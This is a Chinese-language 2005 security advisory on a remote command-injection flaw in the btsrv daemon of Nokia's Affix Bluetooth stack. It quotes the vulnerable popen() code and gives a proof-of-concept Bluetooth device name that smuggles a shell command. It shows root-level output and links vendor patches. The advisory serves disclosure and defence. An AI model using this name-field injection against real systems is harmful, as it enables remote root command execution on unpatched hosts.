Nokia Affix BTSRV设备名远程命令执行漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2005-08-30
Nokia Affix BTSRV设备名远程命令执行漏洞

来源:;绿盟

发布日期:2005-08-29
更新日期:2005-08-29

受影响系统:
Nokia Affix 3.2
Nokia Affix 3.1
Nokia Affix 3.0
Nokia Affix 2.1.2
Nokia Affix 2.1.1
Nokia Affix 2.1
Nokia Affix 2.0.2
Nokia Affix 2.0.1
Nokia Affix 2.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 14672

Affix是由Nokia研究中心开发的Linux蓝牙协议栈。

Nokia Affix BTSRV中存在远程命令执行漏洞。以下代码段位于affix-3.2.0/daemon/btsrv.c:

int event_pin_code_request(struct PIN_Code_Request_Event *evt, int devnum)
{
...

                err = HCI_RemoteNameRequest(fd, &dev, name);
                if (err) {
                        BTDEBUG("Name request failed: %s", hci_error(err));
...
        sprintf(cmdline, "/etc/affix/btsrv-gui pin /"%s/" %s", name, bda2str(&evt->bda));
        DBPRT("cmdline: [%s]", cmdline);
        fp = popen(cmdline, "r");
        if (!fp) {
                BTERROR("popen() failed");
                goto err;
        }
        err = fscanf(fp, "%s", pin);
        if (err == EOF) {
                BTERROR("fscanf() failed");
                pclose(fp);
                goto err;
        }

调用HCI_RemoteNameRequest()导致了这个漏洞。安全者可以通过设备名提供任意命令,并在服务环境中执行。

<*来源:Kevin Finisterre (dotslash@snosoft.com)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112511370326063&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

首先将设备的蓝牙名称设置为“;/usr/bin/id>/tmp/ooooo;”。 

打开蓝牙管理器,点击“工具”,找到“配对设备”,然后点击“添加”,搜索目标主机并双击。在提示输入PIN码时,输入随机的PIN码。 

随后会得到“认证失败”消息。

在启动btsrv的屏幕上可以看到以下错误: 

Traceback (most recent call last):
  File "/etc/affix/btsrv-gui", line 106, in ?
    pin = t.go("Connection from %s [%s]" %  (sys.argv[2], sys.argv[3]))
IndexError: list index out of range
sh: : command not found
btsrv: event_pin_code_request: fscanf() failed

目标设备的/tmp中说明安全成功: 
                                                       
root@animosity:~# ls -al /tmp/ooooo
-rw-r--r--  1 root root 134 2005-08-26 16:47 /tmp/ooooo
root@animosity:~# cat /tmp/ooooo
uid=0(root) gid=0(root) groups=0(root)

建议:
--------------------------------------------------------------------------------
厂商补丁:

Nokia
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Nokia Affix 2.1.2
* Nokia Patch patch_btsrv_affix_2_1_2
http://affix.sourceforge.net/patch_btsrv_affix_2_1_2

Nokia Affix 3.2
* Nokia Patch patch_btsrv_affix_3_2_0
http://affix.sourceforge.net/patch_btsrv_affix_3_2_0